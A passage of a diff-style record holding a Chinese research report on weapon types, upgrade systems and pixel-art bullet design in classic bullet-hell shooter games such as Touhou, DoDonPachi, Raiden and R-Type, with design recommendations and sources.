"**定义**:向前方扇形/多方向发射大量小弹丸,覆盖范围宽、清杂效率高,但单发伤害分散,对单体(BOSS)总伤害通常低于集中火力。", "new_no": 43}, {"type": "add", "content": "", "new_no": 44}, {"type": "add", "content": "| 游戏 | 例子 | 机制与视觉 |", "new_no": 45}, {"type": "add", "content": "|---|---|---|", "new_no": 46}, {"type": "add", "content": "| 雷电系列 | **Vulcan(红色道具)** | 初始武器,升级后弹幕从 2 连装→3→4 连装、散布角逐渐加宽(最多 7 方向);视觉上是一排并排的小弹丸扇形散开 |", "new_no": 47}, {"type": "add", "content": "| 怒首领蜂 | **Shot(点按 A 键)** | 标准\"spread\"散弹,覆盖面比激光宽;Shot Type 强化后散弹密度/威力翻倍;视觉为密集白色/浅色小弹丸 |", "new_no": 48}, {"type": "add", "content": "| 东方 Project | **灵梦 C(Youkai Buster/妖怪破坏者)**、**魔理沙 A(Spread Star/散星)** | 道中清杂强、BOSS 输出低;散布的弹丸+子机(Option)向两侧展开 |", "new_no": 49}, {"type": "add", "content": "| 东方(BOSS 视觉范本) | **西行寺幽幽子的蝶弹(死蝶「華胥の永眠」等)** | 以**蝴蝶形状子弹**大面积散开铺满屏幕,是\"散布型弹幕\"最经典的视觉形态之一 |", "new_no": 50}, {"type": "add", "content": "", "new_no": 51}, {"type": "add", "content": "**设计要点**:散弹的关键是\"扇面角度 + 弹丸数量 + 弹丸间距\"三个可调参数。升级时优先扩展扇面角度或增加弹丸密度,让玩家能直观看到\"火力变强了\"。", "new_no": 52}, {"type": "add", "content": "", "new_no": 53}, {"type": "add", "content": "---", "new_no": 54}, {"type": "add", "content": "", "new_no": 55}, {"type": "add", "content": "### 2.2 集中射击(Focus Shot)", "new_no": 56}, {"type": "add", "content": "", "new_no": 57}, {"type": "add", "content": "**定义**:把所有火力集中在自机正前方一小条区域,单发伤害高(DPS 高),适合贴脸(pointblanking/Shotgunning)打 BOSS,但因覆盖窄需要瞄准走位。", "new_no": 58}, {"type": "add", "content": "", "new_no": 59}, {"type": "add", "content": "| 游戏 | 例子 | 机制与视觉 |", "new_no": 60}, {"type": "add", "content": "|---|---|---|", "new_no": 61}, {"type": "add", "content": "| 东方 Project | **低速模式(按住 Shift)时的射击**:灵梦「博丽灵符/封魔针」、魔理沙「非指向性激光/高速射击」 | 高速移动时是散弹,按住 Shift 进入低速(目押)模式后,射击自动收拢为**前方集中的高伤害火力**;视觉上弹丸从\"散开\"变为\"一束\" |", "new_no": 62}, {"type": "add", "content": "| 怒首领蜂 | **Laser 模式**(见 2.3) | 东方把\"集中\"做成独立模式,怒首领蜂则直接把集中形态做成持续光束 |", "new_no": 63}, {"type": "add", "content": "| 风神录 灵梦 B | **Forward Focus Type(Sealing Needle/封印针)** | 正前方集中射击型,BOSS 战伤害高、道中需要编排走位 |", "new_no": 64}, {"type": "add", "content": "", "new_no": 65}, {"type": "add", "content": "**设计要点**:集中射击通常与\"低速/精确操控\"绑定,视觉上要和散弹形成**一收一放**的对比——弹丸收拢成束、必要时加一条细光束/光线提示\"伤害集中\"。", "new_no": 66}, {"type": "add", "content": "", "new_no": 67}, {"type": "add", "content": "---", "new_no": 68}, {"type": "add", "content": "", "new_no": 69}, {"type": "add", "content": "### 2.3 激光 / 光束武器(Laser)", "new_no": 70}, {"type": "add", "content": "", "new_no": 71}, {"type": "add", "content": "**定义**:持续输出的光束型武器。特点:判定穿透(可打穿一排敌人)、伤害集中、通常伴随机体减速或能量光环(Aura)。", "new_no": 72}, {"type": "add", "content": "", "new_no": 73}, {"type": "add", "content": "| 游戏 | 例子 | 机制与视觉 |", "new_no": 74}, {"type": "add", "content": "|---|---|---|", "new_no": 75}, {"type": "add", "content": "| 怒首领蜂 | **Laser(按住 A 键)** | 大型窄光束,最强武器(对 BOSS 首选);Laser Type 可穿透杂鱼、激活更快;激活时机身周围出现 **Aura(灵气光环)**,贴脸时激光+Aura 双重伤害;使用激光时自机减速便于精确躲避 |", "new_no": 76}, {"type": "add", "content": "| 雷电系列 | **Laser(蓝色道具)/ Plasma Laser(紫色道具)** | 直线激光,升级增加光束数量与威力;Plasma 激光**可吸附高 HP 敌人并弯曲**(追击相邻目标) |", "new_no": 77}, {"type": "add", "content": "| 东方 Project | **魔理沙(Illusion Laser/幻影激光)**、B 型穿透激光 | 穿透型光束;妖妖梦起有\"非指向性激光\"(按住时发射贯穿激光) |", "new_no": 78}, {"type": "add", "content": "", "new_no": 79}, {"type": "add", "content": "**设计要点**:", "new_no": 80}, {"type": "add", "content": "- 光束是**连续**的,区别于散弹的**离散弹丸**——视觉上用粗、直、持续的光柱 + 起点处的光晕做区分;", "new_no": 81}, {"type": "add", "content": "- 激光与\"机体周围光环\"绑定是怒首领蜂的标志性设计,光环既是伤害来源也是视觉提示(\"你现在是激光模式\");", "new_no": 82}, {"type": "add", "content": "- 注意激光模式下机体的移动速度降低,这是手感上的重要反馈。", "new_no": 83}, {"type": "add", "content": "", "new_no": 84}, {"type": "add", "content": "---", "new_no": 85}, {"type": "add", "content": "", "new_no": 86}, {"type": "add", "content": "### 2.4 追踪弹 / 制导武器(Homing)", "new_no": 87}, {"type": "add", "content": "", "new_no": 88}, {"type": "add", "content": "**定义**:发射后自动追踪敌人的弹药。上手简单、道中省心,代价是单发伤害低、无法集中打同一目标。", "new_no": 89}, {"type": "add", "content": "", "new_no": 90}, {"type": "add", "content": "| 游戏 | 例子 | 机制与视觉 |", "new_no": 91}, {"type": "add", "content": "|---|---|---|", "new_no": 92}, {"type": "add", "content": "| 东方 Project | **灵梦 A(Homing Amulet/诱导灵符)** | 非集中模式为追踪弹,自动锁定敌人;集中模式切换为前方直射 |", "new_no": 93}, {"type": "add", "content": "| 雷电系列 | **Homing Missile(H 道具)** | 子武器系统,追踪导弹自动飞向敌人 |", "new_no": 94}, {"type": "add", "content": "| R-Type | **Homing Missile** | 与主炮同时发射的追踪导弹 |", "new_no": 95}, {"type": "add", "content": "", "new_no": 96}, {"type": "add", "content": "**设计要点**:追踪弹必须**视觉上可读——弹丸带明显的\"转弯/锁定\"行为**(一开始直线、接近目标时转向),并常伴随尾迹(trail)以表现导弹感。像素下建议用 1-2 像素的小弹丸 + 短尾迹 + 发光的\"引导火\"。", "new_no": 97}, {"type": "add", "content": "", "new_no": 98}, {"type": "add", "content": "---", "new_no": 99}, {"type": "add", "content": "", "new_no": 100}, {"type": "add", "content": "### 2.5 近战 / 环绕武器(Orbit / Force / Option)", "new_no": 101}, {"type": "add", "content": "", "new_no": 102}, {"type": "add", "content": "**定义**:不(仅)发射弹丸,而是以\"挂在自机上的物体\"进行接触伤害、挡子弹,或跟随自机复制射击。", "new_no": 103}, {"type": "add", "content": "", "new_no": 104}, {"type": "add", "content": "| 游戏 | 例子 | 机制与视觉 |", "new_no": 105}, {"type": "add", "content": "|---|---|---|", "new_no": 106}, {"type": "add", "content": "| R-Type | **Force Pod(力量球)** | 可以发射出去、也可以收回挂在机头的球体;接触敌人造成伤害、可阻挡子弹 |", "new_no": 107}, {"type": "add", "content": "| 怒首领蜂 | **Laser Aura** | 激光激活时机身周围的环状灵气,接触即伤害(贴脸加成) |", "new_no": 108}, {"type": "add", "content": "| Gradius | **Option(子机)** | 发光的无敌球体尾随自机,复制自机射击,可堆 2-4 个 |", "new_no": 109}, {"type": "add", "content": "| 东方 Project | **子机(Option)**:风神录后 P 道具主要增加子机数量 | 子机在自机两侧/前后跟随发射,火力升级的直观表现 |", "new_no": 110}, {"type": "add", "content": "", "new_no": 111}, {"type": "add", "content": "**设计要点**:环绕武器是最能体现\"火力等级\"的视觉载体——**子机数量=火力等级**是东方风神录之后的通用做法,玩家一眼可读。像素下子机用发光的小球/小符纸 + 拖尾即可。", "new_no": 112}, {"type": "add", "content": "", "new_no": 113}, {"type": "add", "content": "---", "new_no": 114}, {"type": "add", "content": "", "new_no": 115}, {"type": "add", "content": "### 2.6 蓄力射击(Charge Shot)", "new_no": 116}, {"type": "add", "content": "", "new_no": 117}, {"type": "add", "content": "**定义**:按住射击键充能,松开时释放一发大威力\"蓄力弹\"。蓄力时间越长威力越大,通常带穿透/范围效果。", "new_no": 118}, {"type": "add", "content": "", "new_no": 119}, {"type": "add", "content": "| 游戏 | 例子 | 机制与视觉 |", "new_no": 120}, {"type": "add", "content": "|---|---|---|", "new_no": 121}, {"type": "add", "content": "| R-Type | **Wave Cannon(波动炮)** | 按住 A 蓄力,蓄力等级(charge gauge)越高波动炮越大越强,可穿透弱敌;R-Type Final 3 有最多 2 段蓄力的强化波动炮 |", "new_no": 122}, {"type": "add", "content": "| 怒首领蜂(近似) | **Hyper** | 蓄能量槽(Hyper Gauge),满后释放一次爆发性强化(更接近\"强化爆气\"而非单体蓄力弹,见 3.5) |", "new_no": 123}, {"type": "add", "content": "", "new_no": 124}, {"type": "add", "content": "**设计要点**:", "new_no": 125}, {"type": "add", "content": "- 蓄力需要**清晰的充能指示**:R-Type 在机身上方显示蓄力槽/蓄力球,蓄力阶段机身周围能量球从小变大、颜色变亮;", "new_no": 126}, {"type": "add", "content": "- 释放瞬间用**大尺寸弹体+全屏震动/闪光**强化\"这一发很重\"的感觉。", "new_no": 127}, {"type": "add", "content": "", "new_no": 128}, {"type": "add", "content": "---", "new_no": 129}, {"type": "add", "content": "", "new_no": 130}, {"type": "add", "content": "### 2.7 炸弹 / 清屏技能(Bomb / Spell Card / 灵击)", "new_no": 131}, {"type": "add", "content": "", "new_no": 132}, {"type": "add", "content": "**定义**:有限的强力保命技:清屏敌弹、短暂无敌、对全场敌人大伤害;部分还能吸道具。数量受限,是玩家\"资源管理\"的核心。", "new_no": 133}, {"type": "add", "content": "", "new_no": 134}, {"type": "add", "content": "| 游戏 | 例子 | 机制与视觉 |", "new_no": 135}, {"type": "add", "content": "|---|---|---|", "new_no": 136}, {"type": "add", "content": "| 东方 Project | **符卡 BOMB(自机符卡)** | 发动时显示角色立绘+符卡名(私人用视觉/命名系统),清屏敌弹为☆道具、全屏吸道具、短时间无敌;数量有限(通常 3 个起步) |", "new_no": 137}, {"type": "add", "content": "| | **灵击(风神录/地灵殿)** | BOMB 变体:不限制次数,改为消耗 Power(见 3.4);风神录灵击为向前推出大型圆环,BOSS战额外全屏判定 |", "new_no": 138}, {"type": "add", "content": "| 怒首领蜂 | **Spread Bomb(散弹炸弹)/ Laser Bomb(激光炸弹)** | 炸弹随当前武器状态变化:散弹状态=中规模清屏;激光状态=前方大型激光束(伤害更高);发动时无敌并消弹 |", "new_no": 139}, {"type": "add", "content": "| 雷电系列 | **Bomb** | 消屏子弹+BOSS区域伤害;按炸弹键到爆炸有短暂延迟 |", "new_no": 140}, {"type": "add", "content": "", "new_no": 141}, {"type": "add", "content": "**设计要点**:", "new_no": 142}, {"type": "add", "content": "- 炸弹的**视觉语言 = 全屏级特效**:闪光、扩散圆环、敌弹化为道具/星星——让\"屏幕瞬间被清理\"的结果可视化;", "new_no": 143}, {"type": "add", "content": "- 东方把炸弹做成\"符卡\"(有名字有立绘)是世界观与玩法结合的最佳范例,值得像素游戏借鉴(起一个帅气的招式名);", "new_no": 144}, {"type": "add", "content": "- 炸弹与武器状态联动(怒首领蜂散弹/激光两种炸弹)可以增加决策深度。", "new_no": 145}, {"type": "add", "content": "", "new_no": 146}, {"type": "add", "content": "---", "new_no": 147}, {"type": "add", "content": "", "new_no": 148}, {"type": "add", "content": "## 3. 武器升级系统", "new_no": 149}, {"type": "add", "content": "", "new_no": 150}, {"type": "add", "content": "### 3.1 道具拾取升级(P 道具 / Power-Up)", "new_no": 151}, {"type": "add", "content": "", "new_no": 152}, {"type": "add", "content": "几乎所有经典 STG 都用\"拾取掉落道具→火力升级\"的模式,区别在道具形态与上限设计:", "new_no": 153}, {"type": "add", "content": "", "new_no": 154}, {"type": "add", "content": "| 游戏 | 道具 | 升级机制 |", "new_no": 155}, {"type": "add", "content": "|---|---|---|", "new_no": 156}, {"type": "add", "content": "| 东方 Project | **红色 P 道具** | 小 P +1(红妖永)、+0.05(风神录)、+0.01(星莲船后);大 P +8 / +1.00。满 Power(Full Power Mode)后 P 道具自动转为其他道具(分数/信仰等) |", "new_no": 157}, {"type": "add", "content": "| 怒首领蜂 | **P(Power Up)** | 4 个 P 达到满级;死亡后主力武器降 1 级、另一武器归 1 级(二周目则双双降 1 级) |", "new_no": 158}, {"type": "add", "content": "| 雷电系列 | **红(Vulcan)/蓝(Laser)/紫(Plasma)/H/M(导弹)** | 同类道具拾取才升级;主武器 8 级满(Vulcan 连装数+散布角递增、Laser 光束数递增);死亡后武器掉落还原 |", "new_no": 159}, {"type": "add", "content": "", "new_no": 160}, {"type": "add", "content": "**设计要点**:", "new_no": 161}, {"type": "add", "content": "- **同类拾取才升级**(雷电)制造\"专注一系武器\"的策略取舍;", "new_no": 162}, {"type": "add", "content": "- 掉道具设计(死亡时爆出若干 P 道具)让玩家可以\"捡回\"部分火力,是容错设计;", "new_no": 163}, {"type": "add", "content": "- 满级后道具转化(东方)避免火力溢出浪费,是一种奖励机制。", "new_no": 164}, {"type": "add", "content": "", "new_no": 165}, {"type": "add", "content": "### 3.2 多级别火力变化", "new_no": 166}, {"type": "add", "content": "", "new_no": 167}, {"type": "add", "content": "- **雷电**:主武器 **8 级**。Vulcan 从 2 连装→3→4 连装、散布角逐步加大;Laser 从单束→多束、光束加粗;是\"逐级可读\"的经典范例。", "new_no": 168}, {"type": "add", "content": "- **怒首领蜂**:**4 级(Level 0–4)**。每级激光每秒伤害递增(如 A-Shot 激光 128→136/132→140/136→144 per 2 frames),火力升级数值化。", "new_no": 169}, {"type": "add", "content": "- **东方**:Power 分级(红妖永 0–128;风神录 0–5.00;星莲船后 1.00–4.00 下限),变化体现在本体子弹数量(早期)或子机数量/排列(风神录后)。", "new_no": 170}, {"type": "add", "content": "", "new_no": 171}, {"type": "add", "content": "**设计要点**:每个火力级别都要有**对应的视觉变化**(弹丸数量、散布角、光束宽度、子机数量),让玩家不需要看 HUD 也能感知当前火力等级。", "new_no": 172}, {"type": "add", "content": "", "new_no": 173}, {"type": "add", "content": "### 3.3 武器切换机制", "new_no": 174}, {"type": "add", "content": "", "new_no": 175}, {"type": "add", "content": "| 游戏 | 切换方式 | 说明 |", "new_no": 176}, {"type": "add", "content": "|---|---|---|", "new_no": 177}, {"type": "add", "content": "| 东方 Project | **高速/低速(Shift)** | 同一武器在两种移动速度下显示\"散弹/集中\"两种形态,一按即切换 |", "new_no": 178}, {"type": "add", "content": "| 怒首领蜂 | **点按 A = Shot / 按住 A = Laser** | 一个键承载两种武器形态;另在选机界面选择 Shot Type(散弹强化)或 Laser Type(激光强化),是\"模式选择\"的鼻祖 |", "new_no": 179}, {"type": "add", "content": "| 雷电 | **红/蓝/紫/绿道具** | 拾取道具即时切换主武器/导弹类型 |", "new_no": 180}, {"type": "add", "content": "| Gradius | **Power Meter(升级条)** | 吃一个道具点亮升级条下一格,按确定键购买(Speed/Missile/Double/Laser/Option/护盾……),买完回卷重来——\"选择顺序\"本身就是策略 |", "new_no": 181}, {"type": "add", "content": "| 怒首领蜂大往生(DOJ) | **Element Dolls(元素人偶)**:Shotia(强化散弹)/Leinyan(强化激光)/EXY(双强化) | 人偶决定强化方向+炸弹容量上限(3-6 / 2-4 / 1-2),强化与资源形成权衡 |", "new_no": 182}, {"type": "add", "content": "", "new_no": 183}, {"type": "add", "content": "**设计要点**:", "new_no": 184}, {"type": "add", "content": "- 武器切换要么做成\"一键瞬切\"(东方 Shift、怒首领蜂按住),要么做成\"有成本的选择\"(雷电道具、Gradius 升级条);", "new_no": 185}, {"type": "add", "content": "- 切武器的代价越小,玩家越倾向频繁换武器应敌(节奏快);代价越大,越需要路线规划(深思熟虑)。", "new_no": 186}, {"type": "add", "content": "", "new_no": 187}, {"type": "add", "content": "### 3.4 东方 Project 的 Power 系统", "new_no": 188}, {"type": "add", "content": "", "new_no": 189}, {"type": "add", "content": "- P 道具是唯一火力来源:早期(红/妖/永)为 **0–128** 区间,小 P +1 / 大 P +8;风神录改为 **0.00–5.00**(小 P +0.05 / 大 P +1.00);星莲船后为 **1.00–4.00** 下限。", "new_no": 190}, {"type": "add", "content": "- 表现载体变化:永夜抄以前\"本体射出的子弹变多\";风神录以后改为\"增加射出的子机(Option)\"——**火力可视化**。", "new_no": 191}, {"type": "add", "content": "- Power 还承担资源职能:风神录/地灵殿的**灵击消耗 1.00 Power**,使用后射击能力减弱,形成\"用资源换保命\"的抉择。", "new_no": 192}, {"type": "add", "content": "- 满 Power 后 P 道具转化为分数/信仰道具,防止浪费。", "new_no": 193}, {"type": "add", "content": "", "new_no": 194}, {"type": "add", "content": "### 3.5 怒首领蜂的强化系统", "new_no": 195}, {"type": "add", "content": "", "new_no": 196}, {"type": "add", "content": "1. **双模式(Shot/Laser Type)**:初代 DDP 引入。Shot Type 强化散弹(更密、更宽、双倍火力)、激光则细且不可穿透;Laser Type 让激光穿透杂鱼、激活更快、光环保留,但散弹变弱。", "new_no": 197}, {"type": "add", "content": "2. **Element Dolls(DOJ)**:见 3.3,强化方向与炸弹容量权衡。", "new_no": 198}, {"type": "add", "content": "3. **Hyper 系统(DOJ 起)**:玩家通过连击、收集蜜蜂、贴脸输出积攒 **Hyper Gauge**,满后掉落 Hyper 道具(上限 5 个);激活时:", "new_no": 199}, {"type": "add", "content": " - 全场敌弹消除 + 短暂无敌(80/120 帧);", "new_no": 200}, {"type": "add", "content": " - 散弹与激光威力暴涨(射出的散弹可消敌弹、激光可挡 BOSS 大激光);", "new_no": 201}, {"type": "add", "content": " - 激活期间敌人喷更多子弹、**游戏 RANK 隐藏难度提升**;", "new_no": 202}, {"type": "add", "content": " - 计时器以机身周围**白色圆环**呈现,圆环消失=Hyper 结束。", "new_no": 203}, {"type": "add", "content": " - 这是\"用强化换难度\"的经典设计——高回报高风险。", "new_no": 204}, {"type": "add", "content": "", "new_no": 205}, {"type": "add", "content": "**设计要点**:怒首领蜂证明\"武器强化\"可以和\"游戏难度自适应(Rank)\"挂钩,让强力火力本身成为平衡杠杆。", "new_no": 206}, {"type": "add", "content": "", "new_no": 207}, {"type": "add", "content": "---", "new_no": 208}, {"type": "add", "content": "", "new_no": 209}, {"type": "add", "content": "## 4. 像素风格表现", "new_no": 210}, {"type": "add", "content": "", "new_no": 211}, {"type": "add", "content": "### 4.1 子弹的像素美术设计(大小、形状、颜色)", "new_no": 212}, {"type": "add", "content": "", "new_no": 213}, {"type": "add", "content": "综合 slynyrd(Raymond Schlitter)的 STG 像素美术教程与弹幕社区经验,核心原则是**可见性(readability)第一**:", "new_no": 214}, {"type": "add", "content": "", "new_no": 215}, {"type": "add", "content": "- **颜色**:子弹应是屏幕上最鲜艳的对象,用高饱和亮色与背景拉开;弹幕游戏普遍选用**红/粉/紫系**作敌弹(不易与背景、自机弹冲突),偶用蓝/黄作功能性区分。", "new_no": 216}, {"type": "add", "content": "- **大小**:大子弹更醒目但占屏更大易显得傻;小子弹容易淹没在特效里。混合多种尺寸:大体型通常暗示更高伤害。", "new_no": 217}, {"type": "add", "content": "- **形状**:圆、椭圆、针、箭、刀、蝴蝶、米粒、苦无、符纸(东方命名体系:小玉/大玉/针弹/米弹/蝶弹/札弹/箭弹……)等独特形状增强辨识度与趣味。", "new_no": 218}, {"type": "add", "content": "- **轮廓线(Outline)**:几乎必须。slynyrd 建议**亮色+暗色双重描边**,或统一用白色描边让子弹在任意背景下可读(敌机/自机用深色描边以区分层级)。", "new_no": 219}, {"type": "add", "content": "- **闪烁**:两帧交替(闪白/闪亮)提升存在感与\"危险感\";但对比过强会让高速移动的子弹难追踪——需要在\"醒目\"与\"可追踪\"之间平衡。", "new_no": 220}, {"type": "add", "content": "- **旋转/脉动**:星星、方形、椭圆可加旋转;任意形状可加轻微缩放脉动让子弹\"活着\"。", "new_no": 221}, {"type": "add", "content": "", "new_no": 222}, {"type": "add", "content": "### 4.2 射击特效(muzzle flash、尾迹)", "new_no": 223}, {"type": "add", "content": "", "new_no": 224}, {"type": "add", "content": "- **枪口闪光(Muzzle Flash)**:自机开火瞬间的短促亮斑,逐帧淡出;体积小但高频出现,应在设计初期预留清晰 sprite。", "new_no": 225}, {"type": "add", "content": "- **尾迹(Trail)**:散弹弹药可加短尾迹表现速度感;追踪弹/导弹必须加尾迹(弯曲轨迹+火光)体现\"制导\"性质;激光可加**束起点光晕**与**目标命中火花**。", "new_no": 226}, {"type": "add", "content": "- **爆炸(Explosion)**:slynyrd 的爆炸公式——圆形向导扩张成变薄圆环 → 转为有机火团 → 白热渐变为暖色再转灰烟 → 缓慢上升消散;热空气\"快速膨胀、渐凉减速\"的物理节奏是让爆炸可信的关键。", "new_no": 227}, {"type": "add", "content": "- **弹道/拖影**:高速敌弹可加残影(ghosting),但残影不能遮挡弹间缝隙。", "new_no": 228}, {"type": "add", "content": "", "new_no": 229}, {"type": "add", "content": "### 4.3 不同武器类型的视觉区分度", "new_no": 230}, {"type": "add", "content": "", "new_no": 231}, {"type": "add", "content": "| 武器 | 视觉语言 | 举例 |", "new_no": 232}, {"type": "add", "content": "|---|---|---|", "new_no": 233}, {"type": "add", "content": "| 散弹 | 大量小弹丸**离散**、扇面、快速连发 | 雷电 Vulcan 并排弹丸;东方灵梦 C 大量小弹 |", "new_no": 234}, {"type": "add", "content": "| 集中/激光 | **连续光束**:粗、直、持续 + 起点光晕 + 命中火花;伴随机身光环 | 怒首领蜂激光+灵气光环;魔理沙穿透激光 |", "new_no": 235}, {"type": "add", "content": "| 追踪弹 | 弹丸带明显**转弯行为**+弯曲尾迹+发光引导火 | 灵梦 A 诱导灵符;雷电 Homing |", "new_no": 236}, {"type": "add", "content": "| 蓄力 | **充能指示器**(机身能量球由小变大/变亮/变色)+ 释放时放大弹体+闪光 | R-Type Wave Cannon 蓄力槽 |", "new_no": 237}, {"type": "add", "content": "| 炸弹 | **全屏级特效**:扩散圆环+闪光+敌弹变道具/星星 | 东方符卡 BOMB 立绘+清屏;怒首领蜂两种炸弹 |", "new_no": 238}, {"type": "add", "content": "| 环绕武器 | 发光球体/子机挂在自机旁,随火力升级数量递增 | Gradius Option;东方子机 |", "new_no": 239}, {"type": "add", "content": "", "new_no": 240}, {"type": "add", "content": "### 4.4 屏幕内大量子弹的辨识度设计", "new_no": 241}, {"type": "add", "content": "", "new_no": 242}, {"type": "add", "content": "- **敌弹颜色编码**:用颜色区分\"快弹/慢弹/装饰弹\"或危险等级(红=会伤害、粉紫=普通、淡色=装饰);东方/怒首领蜂大量使用红粉紫系正是出于与背景不冲突、且高频饱和色在密集时仍可辨。", "new_no": 243}, {"type": "add", "content": "- **判定点(Hitbox)分离**:东方从妖妖梦起,低速模式在自机上显示**红色圆点判定点**(子弹只碰到这一点才判定中弹);怒首领蜂所有子弹共享同一 hitbox(通常小于视觉大小)——\"视觉大、判定小\"是弹幕公平性的核心。", "new_no": 244}, {"type": "add", "content": "- **自机弹 vs 敌弹颜色对立**:如 castpixel 的做法——**fuchsia(紫红)= 敌弹、yellow(黄)= 自机弹**,极端对立让双方一眼可分。", "new_no": 245}, {"type": "add", "content": "- **弹幕\"缝隙设计\"(gap design)**:弹幕不只是子弹设计,更是**缝隙设计**——\"玩家能看见可通行路径即为公平\",装饰性子弹可以用低饱和/半透明表示\"无威胁\"。", "new_no": 246}, {"type": "add", "content": "- **擦弹(Graze)反馈**:子弹擦过自机时的音效/闪光反馈(东方擦弹系统)帮助玩家\"读\"弹幕密度。", "new_no": 247}, {"type": "add", "content": "- **性能与同屏量**:像素 STG 在低分辨率(如 480×270)下单帧同屏敌弹可达数百,需要单帧 sprite 体量小(8×8 内)+ 2-4 帧动画,并提前规划透明色/轮廓的绘制成本。", "new_no": 248}, {"type": "add", "content": "", "new_no": 249}, {"type": "add", "content": "---", "new_no": 250}, {"type": "add", "content": "", "new_no": 251}, {"type": "add", "content": "## 5. 像素 STG 武器视觉设计建议(落地清单)", "new_no": 252}, {"type": "add", "content": "", "new_no": 253}, {"type": "add", "content": "面向自研像素弹幕 STG,综合以上调研给出可直接落地的建议:", "new_no": 254}, {"type": "add", "content": "", "new_no": 255}, {"type": "add", "content": "### A. 武器体系骨架", "new_no": 256}, {"type": "add", "content": "1. **每种武器 = 一种\"火力形态\"而非多个数值**:散弹(扇形+连发)、激光(穿透光束+光环)、追踪(锁定+尾迹)、集中(高速模式收拢)至少占 2-3 种,用 Shift/按住 键在同一机体上瞬切(东方/怒首领蜂模式)。", "new_no": 257}, {"type": "add", "content": "2. **火力等级可视化**:每级变化做成\"子机数量 / 弹丸数 / 散布角 / 光束宽度\"其中之一,让玩家不读 HUD 也能感知等级(东方子机、雷电连装数的思路)。", "new_no": 258}, {"type": "add", "content": "3. **掉落同系升级(或 P 通用)**:可选雷电\"同色道具才升级\"(策略取舍)或东方\"P 通用道具\"(上手简单),建议新手向用后者。", "new_no": 259}, {"type": "add", "content": "4. **炸弹做成\"有名有相\"的大招**:借鉴东方符卡——发招时全屏特效+短暂演示(立绘/名牌可选),视觉上\"一键清屏\"结果必须一帧可见。", "new_no": 260}, {"type": "add", "content": "5. **强化换难度**(可选进阶):怒首领蜂 Hyper/Rank 思路——强火力同时提高敌弹速度或密度,制造\"成长风险\"。", "new_no": 261}, {"type": "add", "content": "", "new_no": 262}, {"type": "add", "content": "### B. 子弹与特效像素规范", "new_no": 263}, {"type": "add", "content": "6. **敌弹用红/粉/紫高饱和系 + 白/亮色轮廓(双描边更稳)**;自机弹用对立色(黄/青),两类永不撞色。", "new_no": 264}, {"type": "add", "content": "7. **子弹 8×8 内完形、2 帧闪烁**:交替闪白提升醒目度;高速弹少用高对比闪烁以免难追踪。", "new_no": 265}, {"type": "add", "content": "8. **独特形状命名体系**:采用东方式命名(小玉/大玉/针/米/蝶/札/箭/刀/苦无),每个形状配名称,既是美术资产清单也是世界观萌点。", "new_no": 266}, {"type": "add", "content": "9. **判定点独立显示**:低速(focus)模式显示红色圆点判定;敌弹统一\"视觉 > 判定\"原则。", "new_no": 267}, {"type": "add", "content": "10. **特效规格化**:muzzle flash 2-3 帧、爆炸 8-10 帧(白热→暖色→灰烟)、激光起点光晕+命中火花常驻 2-3 sprite。", "new_no": 268}, {"type": "add", "content": "11. **尾迹只给\"需要读懂速度/轨迹\"的弹种**(高速弹、追踪弹),装饰弹少用尾迹以保缝隙可读性。", "new_no": 269}, {"type": "add", "content": "", "new_no": 270}, {"type": "add", "content": "### C. 屏幕可读性指标", "new_no": 271}, {"type": "add", "content": "12. 任意单帧同屏:自机弹与敌弹在色相/明度上至少有一个维度明确对立。", "new_no": 272}, {"type": "add", "content": "13. 弹幕可读性验收标准:**截图后 1 秒内能指出至少一条可行缝隙**;做不到就降低装饰弹密度或调低其饱和度。", "new_no": 273}, {"type": "add", "content": "14. 低分辨率(320×180 ~ 640×360)下优先保证:敌弹 > 自机 > 背景 的优先级渲染(敌弹永远最上层且最亮)。", "new_no": 274}, {"type": "add", "content": "", "new_no": 275}, {"type": "add", "content": "---", "new_no": 276}, {"type": "add", "content": "", "new_no": 277}, {"type": "add", "content": "## 6. 参考资料", "new_no": 278}, {"type": "add", "content": "", "new_no": 279}, {"type": "add", "content": "以下为本报告主要信息来源(按主题归类):", "new_no": 280}, {"type": "add", "content": "", "new_no": 281}, {"type": "add", "content": "1. 维基百科中文:符卡(东方 Project 自机 BOMB/符卡系统)、东方 Project(游戏系统/P 道具/BOMB 演化)、东方妖妖梦(低速判定点/武器/樱点系统)、怒首领蜂(Shot/Laser 强化)", "new_no": 282}, {"type": "add", "content": "2. Shmups Wiki(shmups.wiki):»DoDonPachi«(Shot/Laser 双模式、Aura、两种炸弹、hitbox、4 级火力)、»DoDonPachi DaiOuJou«(Element Dolls、Hyper 系统、Rank)、»Mountain of Faith«(风神录自机 6 种 shot type、Power/灵击、P 道具数值)、»Raiden II / Raiden DX«(Vulcan/Laser/Plasma、8 级火力、H/M 导弹)", "new_no": 283}, {"type": "add", "content": "3. THBWiki / 东方维基(thwiki.cc、zh.touhouwiki.net):STG 术语(判定点/擦弹/自机狙/道中)、弹幕类型词条、东方游戏玩法页", "new_no": 284}, {"type": "add", "content": "4. Touhou Community Jargon(maribelhearn.com):东方子弹类型命名列表(玉弹/针弹/蝶弹/米弹/札弹/苦无等)", "new_no": 285}, {"type": "add", "content": "5. slynyrd Pixelblog #31 – Shmup Design Part 1(slynyrd.com):像素 STG 子弹可见性设计(颜色/尺寸/形状/轮廓/闪烁/旋转)与爆炸设计公式", "new_no": 286}, {"type": "add", "content": "6. BULLET HELL SHMUP DESIGN 101(Reddit r/shmupdev):弹幕颜色选择(红粉紫系)、弹幕设计原则", "new_no": 287}, {"type": "add", "content": "7. 弹幕美术赏析(note.com「15 Beautiful Bullet Hell Patterns」):弹幕=缝隙设计、颜色区分弹种/危险等级", "new_no": 288}, {"type": "add", "content": "8. R-Type(Shmups Wiki / R-Type Wiki):Wave Cannon 蓄力系统、Force Pod 力球、Bit Device、追踪导弹", "new_no": 289}, {"type": "add", "content": "9. Gradius 系列(Gaming History 101 / StrategyWiki):Power Meter 升级条、Speed/Missile/Double/Laser/Option 体系", "new_no": 290}, {"type": "add", "content": "10. ClassicReload / GameFAQs Raiden II FAQ:雷电武器道具(红/蓝/紫、H/M)、8 级火力、死亡掉落机制", "new_no": 291}, {"type": "add", "content": "", "new_no": 292}, {"type": "add", "content": "---", "new_no": 293}, {"type": "add", "content": "", "new_no": 294}, {"type": "add", "content": "*本报告为公开资料调研整理,涉及具体数值(如怒首领蜂激光伤害、东方 P 道具数值)均以上述来源为准,细节以各游戏实际版本为准。*", "new_no": 295}], "truncated": false, "current_text": "# 经典弹幕射击游戏(STG)武器系统调研报告\n\n> 调研主题:经典弹幕射击游戏(STG / Bullet Hell)的武器系统设计与像素风格表现\n> 